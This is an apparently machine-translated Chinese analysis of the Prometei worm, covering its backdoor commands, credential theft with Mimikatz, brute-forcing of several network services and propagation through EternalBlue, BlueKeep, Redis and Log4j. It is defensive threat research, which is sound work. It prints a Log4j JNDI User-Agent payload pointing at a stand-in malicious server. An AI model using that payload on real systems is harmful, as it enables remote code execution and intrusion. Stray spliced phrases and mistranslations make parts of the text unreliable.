本文所述蠕虫病毒“Prometei”详细分析与样本

以下是本文描述的蠕虫“Prometei”的详细分析和样本哈希:

一、样本分析

sqhost主模块

主模块名为:zsvc.exe,在水平传播过程中,使用UPX shell压缩。此外,病毒代码还对病毒的主要代码逻辑入口进行了加密。该模块存在挖矿、下载文件、持久化、执行任意命令行、扩展模块、削弱系统安全、调用横向传播模块等恶意行为。当病毒收到来自C&C服务器的后门指令后,就会执行相应的恶意行为。该病毒可以通过匿名通信协议与C&C服务器进行通信,例如Tor(洋葱路由器),从而增强了对实际C&C服务器的隐蔽性。Windows病毒样本支持的后门指令如下图所示:

Windows 病毒样本支持的后门指令

病毒模块可以根据不同的命令行参数执行相应的功能。具体功能模式如下图所示:

参数功能

比较典型的后门功能指令代码

称呼

调用CreateProcess函数执行程序,相关代码如下图所示:

CALL指令代码

更新

从服务端下载更新主模块,相关代码,如下图:

更新命令代码

wget

根据网址和相关代码下载文件,如下图所示:

wget 命令代码

通过执行命令行下载其他模块

病毒收到后门命令后,会通过命令行执行PowerShell脚本,下载并解压包含恶意文件的压缩包(updata.7z),执行解压后的install.cmd。脚本的内容,如下图所示:

PowerShell 命令

压缩包内容如下图所示:

压缩包内容

执行install.cmd,更新已有模块,执行rdpcIip横向传播模块,如下图:

install.cmd 内容

RdpCIip横向传播模块

RdpCIip横向传播模块会扫描局域网内的所有机器,如:SMB、Redis、RPC、RDP、Apache、SSH、SQL Server、PostgreSQL服务端口,并对上述服务进行暴力破解和漏洞攻击(《永恒之蓝》、BlueKeep、Apache Log4j漏洞、Redis未授权访问漏洞等),拥有大型局域网的政府和企业组织面临更大的安全风险。在局域网暴力破解之前,会通过miwalk模块(Mimikatz)获取系统登录凭证,通过获取的登录凭证和内置的弱密码字典进行横向暴力破解。攻击成功后,被攻击主机会执行一段恶意代码。恶意代码会调用PowerShell命令从服务器下载主模块并执行。相关代码如下图所示:

恶意代码内容

爆炸传播

该病毒会对局域网中具有 SMB、WMI、SQLServer 和 PostgreSQL 服务的机器进行暴力攻击。病毒暴力破解使用的密码字典内容包括:miwalk模块(Mimikatz)获取的系统登录凭证、病毒镜像中的弱密码字典、根据目标主机名动态生成的一组字典,从而提高暴力攻击的成功率。.

收集系统登录凭据

调用miwalk模块(Mimikatz)获取系统登录凭证并保存在ssldata2.dll中。相关代码如下图所示:

调用miwalk获取系统登录凭证

动态生成字典

病毒镜像中包含的弱密码字典如下图所示:

病毒图像中包含的弱密码字典

根据目标主机名动态生成的登录信息字典,如下图所示:

基于目标主机名动态组装的登录信息字典

WMI 蛮力传播

根据登录信息字典突破WMI,通过WMI远程执行CMD命令进行横向传播。相关代码如下图所示:

WMI 蛮力传播

SSH蛮力传播

将生成的字典加密写入.cpass文件,调用windrlver模块进行SSH的暴力攻击和横向传播。相关代码如下图所示:

SSH蛮力传播

常用帐户和密码组合

加密的登录信息字典保存在cpass文件中

调用windrlver模块,将目标信息作为参数传入,对目标进行暴力破解,如下图所示:

调用 windrlver 模块

Windrlver 模块

该模块的主要目的是根据提供的登录信息字典对目标SSH进行暴力攻击和横向传播。相关代码如下图所示:

SSH蛮力传播

SQLServer 和 PostgreSQL 暴力破解

前面的步骤同SSH暴力传播,最后调用nethelper模块,如下图:

调用 nethelper 模块

网络助手模块

该模块的主要目的是根据提供的字典对目标 SQL Server 和 PostgreSQL 数据库进行暴力攻击和横向传播。

SQL Server 蛮力传播

连接数据库代码,如下图所示:

连接到 SQL Server

在目标终端调用PowerShell命令下载主模块,如下图:

远程执行 PowerShell

PostgreSQL 蛮力传播

连接数据库代码,如下图所示:

连接到 PostgreSQL

根据不同的操作系统下载目标中不同的主要模块。Windows 系统使用 PowerShell 指令下载模块。相关代码如下图所示:

视窗

对于类 Unix 系统(mac OS、Linux),使用 curl/wget/nexec 下载模块。相关代码如下图所示:

类 Unix 系统

SMB 突发

首先,根据之前获取的系统登录凭证和弱密码字典进行SMB暴力破解。如果暴力攻击失败,将使用“永恒之蓝”漏洞攻击。攻击成功后跑字典用服务器吗,会远程创建一个随机名称服务项(该服务项下图中名为xsvf),通过该服务执行CMD命令,下载sqhost.exe(后门模块)并从服务器执行。具体流程如下图所示:

中小企业认证

远程创建服务

受害主机被攻击后添加的服务项

漏洞传播

该病毒会攻击局域网中易受攻击的机器,例如:“永恒之蓝”漏洞、Redis 未授权访问漏洞、BlueKeep 漏洞、Apache Log4j 漏洞。

“永恒之蓝”漏洞传播

如果 SMB 暴力攻击失败,将使用“永恒之蓝”漏洞攻击。攻击成功后的传播过程与暴力攻击的后续传播过程相同,如上所述(SMB暴力破解)。相关防御情况如下图所示:

Tinder 阻止了病毒产生的“永恒之蓝”攻击

Redis 未授权访问漏洞传播

Redis未授权访问漏洞,Redis默认会绑定到0.0.0.0:6379,如果没有设置相关的安全策略,比如添加防火墙规则避免其他信任源IP访问等,这会将Redis服务暴露给公网。如果不设置密码认证,任何可以访问目标服务器的用户都将无权访问 Redis 并读取 Redis 数据。通过Redis未授权访问漏洞连接成功后跑字典用服务器吗,会通过wget命令下载恶意模块并执行。相关代码如下图所示:

Redis 传播过程

BlueKeep 漏洞利用传播

根据RDP协议获取目标主机名,将目标IP和主机名加密到bklocal(BlueKeep漏洞攻击模块),将漏洞传播给目标。获取RDP协议返回的主机名,相关代码如下图所示:

获取 RDP 协议中返回的主机名

加密目标 IP 和主机名,如下图所示:

加密主机名和目标 IP

调用bklocal模块传入加密数据,如下图:

加密的内容被传递给 bklocal 模块

Apache Log4j 漏洞传播

利用Apache Log4j漏洞(CVE-2021-44228)执行远程代码,构造User-Agent内容为${jndi:ldap://malicious server IP:1399/test},发送到目标端口80或8080)get请求,如果存在Apache Log4j漏洞,恶意服务器上的测试文件中的恶意代码将被执行传播。相关代码如下图所示:

Apache Log4j 漏洞

类Unix系统病毒样本分析

类Unix系统病毒样本暂时只发现了SMB、SSH、Redis漏洞攻击和蛮力攻击,代码逻辑部分与Windows相同,不再赘述。

类Unix系统病毒样本支持的后门指令如下图所示:

类Unix系统病毒样本支持的后门指令

二、附录

示例哈希:

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论